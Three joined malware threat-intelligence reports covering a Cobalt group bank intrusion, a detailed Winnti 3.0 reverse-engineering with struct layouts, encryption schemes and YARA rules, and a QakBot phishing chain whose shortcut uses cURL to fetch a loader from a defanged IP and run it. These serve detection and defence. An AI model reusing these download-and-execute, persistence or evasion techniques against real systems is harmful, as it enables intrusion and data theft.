Beacon agent is the main payload and is classified as a RAT (Remote Access Trojan). Widely known legitimate Ammyy Admin software, downloadable from the manufacturer’s site, was used for remote administration. Other common tools were used, including: - Mimikatz - PsExec - SoftPerfect Network Scanner - TeamViewer A Pass-the-Hash attack was used for moving about the target infrastructure: OS authentication was bypassed by using a hash of the password, without even needing to know the password itself. It should not be a surprise that criminals have switched to legitimate software for their attacks: modern remote administration tools for network infrastructure and servers are so powerful that there is simply no need to invent something else. And as a side benefit for attackers, identifying the use of such software is more difficult. The security of corporate infrastructure at most banks is poor, leaving an opening that cybercriminals are sure to exploit. # Attack timeline The attack started in the first week of August. The initial infection vector started with a file named documents.exe; a RAR archive containing it was received in an email to a bank employee. If not for the employee being on vacation, the phishing message could have compromised the bank’s entire infrastructure on that very same day. Instead, the attackers had to wait over two weeks for the workstation to be turned on again. As a consequence, the attackers had to repeat their actions for developing the attack and elevating privileges in the OS. For one month, emails were sent to various bank addresses, containing malware while claiming to be from employees of various banks. Analysis showed that the sender addresses were forged. But the addresses themselves are real and most of them can be found on the official websites of the bank targeted. The mail server mail.peacedatamap.com was used to send the messages. Reply-to addresses were hosted on the domain temp-mail.ru, a site for temporary email addresses. The reply-to addresses in messages received by bank employees were [email protected] and [email protected]. Investigation showed that several employees opened the file from the phishing messages multiple times, indicating a poor level of security awareness at the organization. Notably, antivirus software detected both the original malicious attachments and the actions of the attackers after the compromise—long before money was actually stolen. Suspicious activity by legitimate software (Ammyy Admin) was detected, and in some cases infection was prevented by the antivirus software. The original infection took place because the antivirus software was disabled, or had out-of-date databases, on the workstation of the employee who ran the malware. The malware triggers the following verdicts by antivirus software: - ESET: Trojan.Odinaff - Symantec: RemoteAdmin.Win32.Ammyy - Kaspersky: Trojan.Odinaff # Who says criminals don’t have a sense of humor During the investigation, Positive Technologies found a curious artifact: the email address used for downloading Ammyy Admin combined a Russian-language obscenity with the name of Kaspersky Lab. In other words, Cobalt expected that Kaspersky Lab would be performing incident investigation. That assumption proved wrong, however, as shown by the work of the Positive Technologies team. # Technical aspects Positive Technologies experts analyzed the detected malware. Here is a summary of the main modules: - winapma.exe: Stager for Beacon agent - atm.exe: Stager for Beacon agent - crss.exe: Downloads crss.dll - crss.dll: Stager for Beacon agent - artifact.exe: Stager for Beacon agent - documents.exe: Stager for Beacon agent - tkg.exe: Stager for Beacon agent - prikaz_08.08.2016.exe: Stager for Beacon agent - offer.doc: RTF document with an exploit that runs stager for the Beacon agent - jusched.exe: Stager for Beacon agent The attackers’ phishing messages were written in Russian. This means that at least one of the criminals is a Russian speaker. The group knows a fair deal about the banking industry and has significant resources to support its activities. A number of similar incidents also indicate that the Cobalt group is Russian-speaking. Performing such attacks is impossible without knowing internal bank processes, which requires an understanding of Russian. # Conclusion As shown by this Positive Technologies investigation of a real-world attack by the Cobalt criminal group, media stories of billions in bank losses due to hacking are no tall tale—these attacks are already happening here and now. Banks must give serious thought to prevention in order to not become the next target. More serious losses were avoided only thanks to the swift reaction of the bank, which brought in outside experts, and law enforcement, which caught one of the drops in the act of withdrawing money. The criminals attempted to stay unnoticed on the bank network (hoping that use of legitimate software would not raise suspicions), but antivirus software noticed malicious activity at the host level. Thus proper security monitoring at the bank, had it been performed, could have prevented the incident entirely. Targeted attacks have become a fact of life in recent years. And when choosing their targets, attackers bypass the little fish—that is, individual clients—in favor of the big fish, the banks themselves. Instead of elaborate zero-days, hackers use the most common vulnerabilities to target the weakest link in bank systems. APT attacks are not necessarily as complicated as they may seem. Banks need to make securing their infrastructure a priority, not just another checkbox to be completed at audit time. When the next attack occurs, will it be your bank that is targeted?
# WINNTI As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013. What is of note, however, is the increased scrutiny found within the Winnti dropper component that attempts to frustrate analysis of the malware. Based on multiple active compromises by the Axiom threat group, Novetta was able to capture and analyze new Winnti malware samples. It should be noted that operators of Winnti that were observed by Novetta leveraged existing Axiom-specific malware infections (Hikit) to move laterally and install Winnti in the furtherance of their objectives. It is with high confidence that we assess the operators of Winnti in these monitored environments were not the same actors who originally installed and leveraged Hikit. This report will focus on three different aspects of the Winnti malware: the start-up sequence of Winnti from the initial infection to steady state, the basics of the Winnti malware, and the command and control (C2) communication protocol. ## FROM INSTALLATION TO EXECUTION The installation process of Winnti by means of the dropper has changed very little since the Winnti version 1.1 (as defined by Kaspersky) droppers of July 2012. The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage (in order to prevent muddying the versioning scheme Kaspersky has already established). There are four distinct components within the Winnti malware’s installation to execution cycle: a dropper, a service, an engine, and a worker. The installation that Novetta observed of Winnti on a victim’s machine requires multiple steps and depends on the dropper, service, and the loader component in order to accomplish the steps. After a successful infection, the activation of Winnti on a victim’s machine requires multiple steps as well as coordination between the service, engine, and worker components. The complexity of the installation and activation processes is significant and more involved than typical malware installation and activation procedures. This additional complexity ultimately does not seem to serve a significant purpose other than to perhaps frustrate analysis by defenders. ### INSTALLATION PHASE 1: DROPPER ACTIVITIES The dropper is, as the name implies, the component responsible for dropping the Winnti malware on a victim’s machine. The dropper performs the following activities (with version-specific annotation): 1. **[version 3.0]** The dropper verifies the existence of a single parameter on the command line and terminates if the parameter is not found. The dropper later uses this parameter as a decryption key. 2. The dropper loads CreateProcessA via a call to GetProcAddress. 3. The dropper extracts an embedded data blob, decrypts the data blob, and decompresses the data blob into a heap buffer. The data blob in step 3 begins with a header structure that describes key attributes of the data blob. The format of the header is as follows: | OFFSET | SIZE | DESCRIPTION | |--------|------|-------------| | 0x0 | 8 | Magic bytes “Tunnel\0\0” | | 0x8 | 2 | Unknown | | 0xA | 4 | Size of the blob after decompression | | 0xE | 4 | Size of the blob prior to decompression (current size in memory) | In order to decrypt the data blob, the dropper will iterate over each of the bytes that follows the header (up to the value specified in 0xE offset of the header), XOR the bytes by 0x36, and then perform a nibble swap. ZLib-compressed data immediately follows the header. The dropper will allocate a heap buffer (with a size specified by the value in offset 0xA of the header) and call the ZLib inflate function. The decompressed data blob contains a second header, and the blob’s header consists of the following two entries: | OFFSET | SIZE | DESCRIPTION | |--------|------|-------------| | 0x0 | 4 | Offset of worker component’s image (generally 0 and unused) | | 0x4 | 4 | Offset of server component’s image | 4. The dropper uses the value in offset 0x4 of the decompressed data blob’s header to determine the size of the worker component’s size and writes that many bytes of the decompressed data blob, starting after the header, to a file within %TEMP%. The file has a random name, but the extension is always .tmp. 5. **[version 3.0]** The remaining bytes within the decompressed data blob are decrypted using what appears to be DES encryption and the key the attacker provided via the first argument on the command line. 6. The dropper generates another randomly named file within %TEMP% with the file extension of .tmp with the remaining bytes within the decompressed data blob. This file becomes the service component. The decryption of the service component is a new feature within the version 3.0 lineage of Winnti and provides the benefit of preventing defenders from attempting to run the dropper for analysis purposes. 7. **[version 3.0]** The presence of the MZ magic bytes in the first two bytes of the service component are verified to ensure that the file was properly decrypted (and by extension, to verify that the supplied password was correct). If the MZ bytes are not found, the dropper quietly terminates. 8. **[version 3.0]** The filenames and paths of the service and worker components are appended to the end of the worker component’s file in a structure 520 byte array. The first 260 bytes contain the filename and path of the worker component, and the last 260 bytes contain the filename and path of the service component. The entire 520 byte array is encrypted by XOR’ing each byte with 0x99. 9. The service component’s file is scanned for the tag Coopre. If this tag is located, the dropper decrypts the configuration data blob attached to the end of the dropper’s executable and appends the data to memory immediately followed the Coopre magic byte. The dropper will then append the filenames and paths of the service and worker components to the end of the worker component’s file in a structure 520 byte array. The first 260 bytes contain the filename and path of the worker component, and the last 260 bytes contain the filename and path of the service component. The entire 520 byte array is encrypted by XOR’ing each byte with 0x99. 10. The dropper instructs the service component to complete the installation by using rundll32 to activate the service component’s Install [pre-version 3.0] or DlgProc [version 3.0] function. The service component is self-installing when an attacker (or the dropper) activates the Install or DlgProc export functions. Install or DlgProc requires the full name and path of the dropper component. The service component can locate the worker component based on the appended filename and path strings located at the end of itself. Once the dropper calls CreateProcessA to activate rundll32, the dropper’s task is complete, and it quietly terminates. At this point, it is up to the service component to continue to install and, eventually, to activate the Winnti malware. ### INSTALLATION PHASE 2: SERVICE ACTIVITIES The service component is at its core an unsophisticated scaffold whose job is to activate the engine component. The distinction between pre-version 3.0 Winnti variants and version 3.0 variants is most evident in the versions’ service components. As a result of the larger difference in procedure between the pre-version 3.0 and version 3.0 variants, the discussion on the Installation Phase 2 sequence will focus on only the version 3.0 service component. The service component has only two functions: activate the installer functionality of the engine component or respond as a service DLL and activate the engine component’s malware start-up routines. Both modes of the service component have a common initialization sequence: 1. DllMain, upon activation, manually loads the engine binary into memory. 2. The exports from the engine component (Install, DeleteF, and Workman) are loaded into a memory structure. The engine component exists as a data blob within the service component. The executable image of the engine component contains a stripped-down PE/COFF header that is missing several key attributes, such as the MZ and PE magic bytes as well as the CPU architecture identifier. These missing pieces require the service component to manually load the engine component’s executable image into memory. This includes allocating the appropriate memory, loading the sections appropriately, applying location fix-ups, and loading the necessary imports. The advantage of going to this much effort from an attacker’s perspective is that the engine, which is responsible for loading the worker, never touches the disk, thus depriving analysts of a necessary component for analysis when using file-based artifact collection techniques. 3. The service component determines if the host binary responsible for the service component is either svchost.exe (if run as a service) or rundll32.dll (if loaded pseudo manually or from the dropper). 4. If neither host executable is found, the Install function of the engine is activated. Otherwise, the DllMain function returns with a success status. 5. Within the DlgProc function, the service will verify the non-NULL status of the DeleteF function pointer. If the function pointer is non-NULL, the DeleteF function (of the engine) is called. 6. The DlgProc function next verifies that the Install function pointer is non-NULL and, if the pointer is indeed non-NULL, calls the engine’s Install function after supplying the path of the service executable. Once the service component passes control to the engine component’s Install function, the service component becomes little more than a placeholder. The service component will remain active only so long as the Install function is active. The engine component then becomes the active component and will conclude the installation process. ### INSTALLATION PHASE 3: ENGINE ACTIVITIES The engine component exists only in memory and is completely dependent on the service component remaining active in order to have a process space in which to operate. The installation functionality for the version 3.0 Winnti malware variants exists within the Install export. When activated, the Install export requires a full filename and path back to the service binary. 1. The Install function checks if the process responsible for calling the Install function is explorer.exe. If so, the function uses a variant of the sysprep User Account Control (UAC) bypass. 2. The current privilege level of the process is verified to be suitable for installing additional binaries. The test consists of determining if the operating system is newer than Windows XP and if the process has administrative privileges. If these conditions are met, the dropper is called again from explorer.exe. The authors went to great pains to ensure that the installation process had a suitable chance of performing its function both undetected (by using a UAC bypass) and with suitable privileges. The use of the sysprep UAC bypass and the verification of process privileges indicate that the authors were at least aware of the changing security environment in later versions of Windows and were adapting to ensure the successful propagation of their tools on a victim’s machine. 3. The configuration information implanted at the end of the service component is extracted and decrypted. The configuration information for the infection typically exists at the very end of the service configuration. The last DWORD of the file contains an offset from the end of the file to the beginning of the configuration. The structure of the configuration is as follows: ```c struct ScheduleEntry { __int16 wDayOfWeek; __int16 wStartTime; __int16 wEndTime; }; struct Config { char szC2[100]; char szCampaignID1[32]; char szCampaignID2[32]; char szCampaignIDNumber[24]; DWORD unknown0; DWORD unknown1; DWORD unknown2; DWORD dwCommMode; DWORD dwProxyType; char szProxyServer[32]; char szProxyUser[32]; char szProxyPassword[32]; ScheduleEntry arrActivePeriods[7]; DWORD iReconnectTime; }; ``` The configuration is encrypted using a rolling XOR with the first byte of the XOR being 0x99. The XOR increments one byte at a time until a wraparound occurs at 0xFF. 4. The files %SYSDIR%\wmtsk.dll and %SYSDIR%\wmm2.dat are checked to ensure that they do not exist and that they are not directories. If either condition is not met, an INI file named %SYSDIR%\otfkyt.dat is generated with the UPDATE section containing File={path to service component DLL} and the process terminates. 5. A global event named Global\5164FDA21542C0EB638BA110F9F3ADAF establishes a poor man’s mutex, indicating that the installation process is currently ongoing. To give other processes time to read the event check, a 12-second delay is introduced before continuing the installation process. 6. The service component is copied from the %TEMP% directory to %SYSDIR%\wmtsk.dll, and the worker component is copied from the %TEMP% directory to %SYSDIR%\wmm2.dat. 7. The timestamps of both wmtsk.dll and wmm2.dat are set to match that of cmd.exe. 8. The original %TEMP% instances of the worker and service DLLs are deleted. 9. The configuration is appended to the wmtsk.dll file using the same rolling XOR (starting with the value 0x99). The bulk of the installation of Winnti is now complete. The dropped files are now in the correct location and ready for activation. The final steps of the installation establish the persistence model for the malware and begin the activation of the malware on the victim’s system. 10. A new service entry is manually added to the registry to ensure the malware will activate upon reboot of the victim’s machine. The new service is named wind0ws, with a display name of automaticallyssl and the description of Monitoring of hardwares and automatically updates the device drivers. 11. WinExec is used to call the command net start wind0ws. 12. The installation completes by returning control to the service component, which terminates quietly. The service that the engine component installs runs under the svchost.exe executable as a netsvc. The engine will directly modify the registry after using the CreateServiceA function to establish the basics of the new service. The use of direct registry modifications to entries under the LOCAL MACHINE (HKLM) hive requires elevated privileges, which may explain why the authors went to such great pains to ensure the installation process occurred in a suitable process space. ## ACTIVATION PHASE 1: SERVICE ACTIVITIES Activation of the Winnti malware begins whenever the service component is activated. Typically, activation is the result of the registered service (e.g., wind0ws) being activated by either a reboot of the victim’s machine or by the net start command being issued during the final phase of the installation process. In either case, the DllMain function is called prior to the ServiceMainEx function of the service component being called by Windows, thus kicking off the activation of the Winnti version 3.0 malware. 1. The DllMain function, upon activation, manually loads the engine binary into memory. 2. The exports from the engine component (Install, DeleteF, and Workman) are loaded into a memory structure. 3. The service component determines if the host binary responsible for the service component is either svchost.exe (if run as a service) or rundll32.dll (if loaded pseudo-manually or from the dropper). 4. If neither host executable is found, the Install function of the engine is activated. Otherwise, the DllMain function returns with a success status. With the initialization of the service component’s DLL complete, Windows calls the ServiceMainEx function to activate the service. The ServiceMainEx function, like the DlgProc function, is extremely lightweight in its functionality. 5. The ServiceMainEx function registers a service handler function to respond to service status control requests from Windows. The service is set to the Running state. 6. An unnamed event is created. 7. The engine’s Workmain function is called with both the path to the host executable (the service DLL) and the name of the service supplied as parameters. 8. A sleep of 3 seconds occurs before the function waits indefinitely for the unnamed event to become set. The ServiceMainEx function does little more than establish a basic scaffold for activating the Workmain function of the engine component. The service remains active, thus providing a process space for the engine, until the unnamed event is set. The unnamed event becomes set only after the service receives the SERVICE_STOP signal from Windows. After the service component calls the Workmain function of the engine component, the engine component picks up the baton to complete the next phase of the activation sequence. ## ACTIVATION PHASE 2: ENGINE ACTIVITIES The engine component’s Workmain function, much like the service’s ServiceMainEx function, provides a scaffolding for the next phase of the activation. In this case, that next phase is dependent on the worker component. 1. The Workmain function determines if an active activation thread exists within the process. If so, the Workmain function simply returns to avoid activating two or more concurrent instances of Winnti under the same process space. 2. The configuration is extracted from the service component based on the filename and path supplied to the Workmain function from the ServiceMainEx function. If the configuration extraction fails, the filename and path of the service DLL is gleaned from the ServiceDLL registry value for the service, and the configuration is extracted from that file. 3. The path to the worker component (e.g., %SYSDIR%\wmm2.dat) is extracted from the service component’s file. 4. A new thread responsible for the activation of the worker and engine components is generated. 5. The Workmain function returns. Workmain is a very simple function with a singular purpose: collect the data needed to locate the necessary components for activating Winnti on the victim’s system. With the necessary information found, a new thread is generated that allows the service component to decouple from the worker component’s functionality. Had this not occurred, the service component would not be able to respond to Windows status requests, and the service would have appeared to be hung, causing Windows to terminate the service. The activation thread generated within the Workmain function loads the worker component, activates the worker component, and provides a thread independent of the service’s thread under which to execute. 6. The path to the worker component’s file is verified to exist. If the worker component’s file does not exist, the activation process terminates immediately. 7. The worker component is loaded into memory. 8. The worker component’s work_start function is called. The worker component’s executable image is encrypted. As part of the loading process, the engine must XOR each byte of the worker component’s file with the value 0x36 and perform a nibble swap. The worker component’s executable image suffers from the same malformed PE/COFF header that the engine component’s image exhibits. As a result of the malformed PE/COFF header and the encrypted file image, the engine must manually load the worker component’s image into memory in exactly the same manner that the service component loaded the engine component manually into memory. The work_start function is the true beginning of the Winnti malware. The work_start function performs the various Remote Administration Tool (RAT) initialization functions of Winnti before activating the communication subsystem of Winnti. The result of calling the work_start function is the completed activation of Winnti and placing the system in a steady-state mode of C2 server requests and response actions. Once the work_start function initializes the Winnti malware, a new thread is generated to house the Winnti RAT functionality, allowing the work_start function to return control back to the activation thread within the engine component. 9. Upon completion of the work_start function, the activation thread sleeps for 30 seconds before entering an infinite loop. 10. The loop begins by verifying that the global event established during the installation process (Phase 3, step 5) does not exist. If the event exists, the loop is broken, the event is set, the Winnti malware shuts down by means of a net stop command, and the service and worker component files are deleted. 11. The presence of the %SYSDIR%\otfkty.dat file is checked, and if the file does not exist, control returns to the top of the loop (step 10). 12. The %SYSDIR%\otfkty.dat file is read as an INI file, the filename specified by the File variable under the UPDATE section is read, and the otfkty.dat file is deleted from disk if the file specified by the File variable exists and is not a directory. 13. If the worker has a work_end export, the work_end function is called. 14. The configuration of %SYSDIR%\wmtsk.dll is loaded into memory. 15. If %SYSDIR%\sysprep\cryptbase.dll exists, the file is deleted. 16. The worker component’s file is deleted from disk. 17. The file specified by otfkty.dat’s File variable is copied to the filename of the worker component’s file. 18. The timestamp of the new worker component file is set to that of cmd.exe’s timestamp. 19. The file specified by otfkty.dat’s File variable is deleted. 20. After sleeping for 3 seconds, the new worker component’s image is loaded into memory, and the new worker component’s work_start function is executed. 21. Control returns to the start of the loop (step 10). The authors of version 3.0 of Winnti use the engine’s scaffolding to allow for on-the-fly worker component updating without a need to restart the service. The infinite loop listens for the indicator that the engine’s Install function is performing an installation (with an existing Winnti installation, this effectively becomes an update). As part of the installation process by the engine component’s Install function, the presence of an existing service and worker component’s files is verified (Installation Phase 3, step 4), resulting in the generation of the %SYSDIR%\otfkty.dat file. The presence of the otfkty.dat file informs the engine’s activation thread that a new worker component is available and should be loaded. As a result, the engine cleanly shuts down the existing worker component by calling its work_end function, deletes the old worker, and replaces the worker component’s file before loading and executing the new worker component. ## THE BASICS OF WINNTI’S WORKER The Winnti worker component is an exercise in over-engineering. As with the other components within the Winnti system, such as the service and the engine, the worker component is a scaffold for additional functionality. Unlike the service and engine components, the scaffolding provided by the worker component is substantial and complex, but at its core, the worker component has two primary functions: communication interface and plugin management. The communication subsystem of the worker module supports three communication protocols, but the framework is developed in such a way that adding additional protocols requires little more than adding a different communication mode module to the source code at compile time. The communication subsystem in the samples analyzed by Novetta includes three modes: custom TCP protocol (used when Config.dwCommMode is set to 1), encapsulation within HTTP (used when Config.dwCommMode is set to 3), and encapsulation within HTTPS (used when Config.dwCommMode is set to 2). To further expand the reach of the HTTP and HTTPS modes, the HTTP and HTTPS modes can utilize a proxy local (or potentially external) to the victim’s computer. In order to support a variety of different communication protocols and methods, the communication subsystem relies heavily on callback functions. For instance, when a communication module (be it the custom TCP protocol, HTTP, HTTPS, or some other type) initializes, it supplies a series of callback functions to the communication subsystem. The callback functions provide hooks to the communication subsystem for handing off important communication events. By using callbacks, it is relatively easy for the authors of the Winnti malware to add new communication protocols without making significant changes to the source code. There is, however, the question as to why the authors chose to use a callback scheme for this purpose instead of a more modern object-oriented approach, such as using derived classes in C++. The callbacks within the communication subsystem cloud an important aspect of the nature of the communication within Winnti: the communication subsystem is largely asynchronous. The communication subsystem allocates a thread solely for listening to incoming data, determining to which channel the data belongs, queuing the data in a series of network queue structures, and alerting the communication subsystem that the ncOnRecvData_callback (or equivalent) callback should be called to address the incoming data. This allows the sending of data from the communication subsystem to decouple the receiving of data from the communication subsystem thereby providing asynchronous data streams. The fact that the data streams are decoupled does introduce some complexity, as it is up to the higher layers of the data stream to reassemble the data in the appropriate form for whatever task to which the data applies. Evidence suggests, however, that despite the fact that sending and receiving data is asynchronous within the communication subsystem, in practice the data follows a standard request-and-reply model in which the Winnti malware makes a request over the network and then waits for a reply before repeating the sequence. By itself, the worker component does very little. It does not have any built-in RAT functionality such as file management, remote command shell interaction, network monitoring, or other features common to malware that falls within the RAT category. Similar to the way that PoisonIvy provides only a framework and requires at-runtime modules to perform RAT functions, Winnti must load a plugin for each desired RAT (or class of RAT) feature. These modules, which internally the authors refer to as “Plus” modules, are basic plugins that the worker component is responsible for maintaining. It would be a poor design for the malware to request a download of code for each RAT function that an attacker wishes to use. The amount of extraneous data would be excessive and would make the malware’s traffic more prone to detection, as plugins are usually a minimum of several tens of kilobytes each. The authors of Winnti compensate for this by caching plugin modules in memory and possibly on disk. Whenever a new module is loaded into the victim’s machine by virtue of a download from the C2 server, the plugin is stored, loaded into memory, and registered with the plugin subsystem, which allows the communication subsystem to pass requests to the plugins from that point on. Optionally, as part of the integration of the plugin into the Winnti malware, the attacker can request that a copy of the plugin be stored within the %PROGRAMFILE%\Microsoft Shared\MSInfo\en-US\ directory, which will allow the worker component to load the plugin automatically whenever the Winnti malware restarts; however, storing a plugin is not mandatory. It is entirely possible that the attacker may specify that the plugin should exist in memory only as long as the malware is active. This prevents disk-based forensics from detecting the plugins and limits the availability of data for analysis to determine what code may have executed on a victim’s machine. Plugins are architecture dependent, but the authors of Winnti make no special effort to ensure that only 64-bit plugins run on 64-bit variants of Winnti or that only 32-bit plugins run on 32-bit variants. Plugins are DLLs with their PE/COFF headers manipulated (like the engine and worker components) to make them unloadable by standard Windows Application Programming Interface (API) functions, therefore requiring that the plugin manager manually load the plugins. A plugin information header precedes the modified PE/COFF header. The plugin information header (PluginEntry) contains information defining attributes about the plugin, such as its architecture (64 or 32-bit), the size of the plugin’s image, the entry point function, the version of the plugin, and, most importantly, the identification number of the plugin. ```c struct PluginEntry { DWORD dwPluginID; DWORD Version; DWORD ArchitectureType; DWORD unknown; DWORD dwPluginSize; DWORD dwEntryFunctionNameHash; DWORD fLoaded; void *pPluginImage; int (__stdcall *pfnEntryPoint)(void *incomingData, int (__cdecl **pfnNetDataSend)(PacketHeader *)); }; ``` The identification number of the plugin (dwPluginID) is the value that allows the communication subsystem to direct incoming requests to the appropriate plugin. The plugin manager itself supports only the following three commands from the communication subsystem: | COMMAND ID | DESCRIPTION | |------------|-------------| | 0x12 | Unknown purpose | | 0x14 | Send a list of plugins currently registered to the C2 | | 0x15 | Add a new plugin to the active Winnti malware with an option to save the plugin to disk | If a command coming from the communication subsystem does not match one of the plugin manager’s commands, the RemoteLib:CallPlusList function is called to redirect the data packet to the appropriate plugin or return an error to the C2 server. ## COMMUNICATION SCHEME Regardless of the communication model currently active for a Winnti instance, the underlying communication remains constant. Each datagram that originates from or is destined for the C2 server has the following predefined header structure: ```c struct PacketHeader { DWORD dwTickCount; WORD cmd; DWORD unknown; DWORD dwPayloadSize; DWORD dwStreamID; }; ``` The format of the data that follows the PacketHeader is cmd dependent. The cmd field allows the communication subsystem to route the request to the appropriate plugin by using the plugin manager to match the cmd value with the dwPluginId value. The worker component allows a maximum datagram size of 261120 bytes. To accommodate data streams larger than the maximum datagram size, the stream can be chunked. The dwStreamID value is used to reassemble the streams by appending datagrams with the same dwStreamID together. The dwPayloadSize field defines the number of bytes within the datagram. The protocol that the worker component uses to transmit the PacketHeader and the optional payload of the datagrams can and will add additional complexity to the network traffic. The custom TCP protocol and the HTTP and HTTPS communication modes each deliver the datagrams differently. The HTTP and HTTPS communication modes will generate POST requests to the C2 server (typically to /index.htm) with the datagram (compressed using Zlib) as the body of the POST. The custom TCP protocol uses a combination of encryption and compression to transfer the datagrams. The custom TCP protocol uses a stacked approach to transforming the data. First, the datagram, which makes up the payload of the custom TCP protocol, is typically compressed with LZMA. The compressed payload is appended to the following header specific to the custom TCP protocol: ```c struct TCPProtocolHeader { DWORD magic; DWORD flags; DWORD dwXORKey; QWORD crc64; DWORD dwCompressedSize; DWORD dwPacketSize; }; ``` The magic value is 0xACED1984. The flags value will specify if the datagram is compressed or not. The dwXORKey value is initialized to zero. The crc64 value for the datagram (prior to compression) is stored in crc64. The size of the compressed payload is recorded in dwCompressedSize while the original size of the datagram is stored in dwPacketSize. The final transformation prior to transmission for the custom TCP protocol involves encrypting the entire packet. A 32-bit value is generated (by calling GetTickCount) and used as the DWORD XOR key. Each DWORD within the packet is then XOR’d with the key. Given that the dwXORKey field of the TCPProtocolHeader was initialized to zero and exists on a DWORD boundary, the XOR key is recorded within the dwXORKey field. A successful decryption is determined by XOR’ing the magic and dwXORKey fields to produce the 0xACED1984 value. ## CODE REUSE The authors of Winnti are clearly proponents of the open-source software movement, as large chunks of the worker binary consist of open-source software packages. The authors statically linked in the OpenSSL library (version 0.9.8x), the LZMA compression library, the nedalloc memory allocation library, and the Zlib library (version 1.2.7). As for the part of the code that generates the unique identifier for the victim’s computer, the authors of the worker component lifted the code DISKID32, which is an open-source utility for reading the manufacturer data from a hard drive. The DISKID32 package is a surprisingly obscure piece of software from a company in Texas that writes an industrial process simulator that has “over 1,000 active users.” ## DETECTION Detecting Winnti via standard IDS signatures or network traffic inspection is not a straightforward process whenever the malware is configured to use HTTPS or the custom TCP protocol due to the use of encryption. However, more advanced network-based behavioral analytic capabilities as well as host-based indicators do exist that can alert a security team or systems administrator to the presence of Winnti. The version 3.0 variants of Winnti attempt to install themselves as a service with the following characteristics: - **SERVICE NAME**: WIND0WS - **DISPLAY NAME**: automaticallyssl - **DESCRIPTION**: Monitoring of hardwares and automatically updates the device drivers From a file system perspective, it is possible to identify Winnti infections by looking for the following filenames: - %SYSDIR%\otfkty.dat - %SYSDIR%\wmtsk.dll - %SYSDIR%\wmm2.dat Given that Winnti will alter the time stamp of files to match that of the victim’s cmd.exe file, looking for files with the exact same time as the victim’s cmd.exe may identify other foreign files on the victim’s system that warrant inspection and possible isolation. Novetta established the following YARA signatures for detecting the various components of version 3.0 of the Winnti malware; administrators are advised to use these signatures to help detect and remediate active version 3.0 Winnti infections. ```yara rule Winnti_Dropper { meta: copyright = "Novetta Solutions" author = "Novetta Advanced Research Group" strings: $runner = "%s\\rundll32.exe \"%s\", DlgProc %s" $inflate = "Copyright 1995-2005 Mark Adler" condition: $runner and $inflate } rule Winnti_service { meta: copyright = "Novetta Solutions" author = "Novetta Advanced Research Group" strings: $newmem = "new memory failed!" $value = "can not find value %d\n" $onevalue = "find one value %d\n" $nofile = "Can not open the file (error %d)" condition: 3 of ($newmem, $value, $onevalue, $nofile) } rule Winnti_engine { meta: copyright = "Novetta Solutions" author = "Novetta Advanced Research Group" strings: $api1 = "SHCreateItemFromParsingName" $datfile = "otfkty.dat" $workstart = "work_start" $workend = "work_end" condition: ($api1 or $datfile) and ($workstart and $workend) } rule Winnti_worker { meta: copyright = "Novetta Solutions" author = "Novetta Advanced Research Group" strings: $pango = "pango-basic-win32.dll" $tango = "tango.dll" $dat = "%s\\%d%d.dat" $cryptobase = "%s\\sysprep\\cryptbase.dll" condition: $pango and $tango and $dat and $cryptobase } ```
# New Variant of QakBot Being Spread by HTML File Attached to Phishing Emails Fortinet’s FortiGuard Labs captured a phishing email as part of a phishing campaign spreading a new variant of QakBot. Also known as QBot, QuackBot, or Pinkslipbot, QakBot is an information stealer and banking Trojan that has been captured and analyzed by security researchers since 2007. I performed a deep analysis on this phishing campaign and the new QakBot variant using the captured email. In this analysis, you will learn how the attached HTML file leads to downloading and executing the new QakBot variant, what actions it takes on the victim’s device, and how it sends the collected data from the victim’s device to its C2 server. **Affected platforms:** Microsoft Windows **Impacted parties:** Microsoft Windows Users **Impact:** Controls victim’s device and collects sensitive information **Severity level:** Critical ## Phishing Email and the Attached HTML File The phishing email used by hackers lures the recipient into opening the attached HTML file (ScannedDocs_1586212494.html). This phishing email has been marked as SPAM by Fortinet’s FortiMail. The HTML file contains a piece of JavaScript code that is automatically executed once it is opened in a web browser by the recipient. It decodes a base64 string held by a local variable. It then calls a built-in function, `navigator.msSaveOrOpenBlob()`, to save the base64 decoded data (a ZIP archive) to a local file named “ScannedDocs_1586212494.zip”. ## Downloading and Executing QakBot Next, we’ll look at what’s inside the downloaded ZIP archive. It’s a Windows shortcut file – “ScannedDocs_1586212494.lnk”. A Windows shortcut file can execute commands by putting them into the Target field. The shortcut is disguised with a Microsoft Write icon to trick the victim into thinking it’s a safe text file so they will open it. A group of commands in the target field will be executed by “cmd.exe”. When the victim double clicks the file, the commands get executed. According to the commands found, it mainly runs “cURL” (Client URL) to download a file from URL `194[.]36[.]191[.]227/%random%.dat` into local file “%ProgramData%\Flop\Tres.dod”. The downloaded file (“Tres.dod”) is a DLL file. It is a sort of QakBot’s loader program. In this case, “regsvr32” is in charge of executing it using the command “regsvr32 %ProgramData%\Flop\Tres.dod”. The QakBot Loader Module (Tres.dod) that runs in “regsvr32.exe” loads a binary block from its Resource section with the name “AAA”. It proceeds to decrypt the binary block to get a fileless PE file and a piece of dynamic code that is a kind of self-deployment function. It is then called by the Loader Module to deploy the fileless PE file, which is the core module of QakBot, inside the “regsvr32” process. After the core module of QakBot is deployed, the last task of the self-deployment function is to call its entry point. ## Process Hollowing Malware usually performs process hollowing to inject malicious code or modules into another process. Depending on the affected machine’s platform (32-bit or 64-bit) and installed anti-virus software, QakBot will select a system process from a process list as the target process for performing process hollowing. This list includes OneDriveSetup.exe, explorer.exe, mobsync.exe, msra.exe, and iexplore.exe for this variant. In my testing environment, it picked “OneDriveSetup.exe”. QakBot then calls the API `CreateProcessW()` to start a new process using the creation flag `CREATE_SUSPENDED` so it gets suspended at start. It can then modify its memory data, like carrying the QakBot core module onto the newly-created “OneDriveSetup.exe” process by calling API `WriteProcessMemory()`. Next, it modifies the code at the entry point of the new process to jump to the injected core module. It eventually calls the API `ResumeThread()` to resume the new process, and QakBot is then executed in the target process. ## Anti-analysis Technique Before analyzing QakBot’s core module, let’s go through some of the anti-analysis techniques that QakBot uses to prevent itself from being easily analyzed. ### Constant Strings are Encrypted QakBot holds encrypted constant strings, which are only decrypted by a particular function before using. ### Dynamically Obtaining Key Windows APIs Most Windows APIs are obtained during QakBot run-time. It is hard to guess which API is called until executing the instruction. ### Detecting Analysis Tools QakBot has a thread function that checks once per second to see if any analysis tool is running on the affected machine. It predefines a process name list of some analysis tools. Once any of them matches one of the running processes, it will affect QakBot’s workflow (say, never connecting to a C2 server). 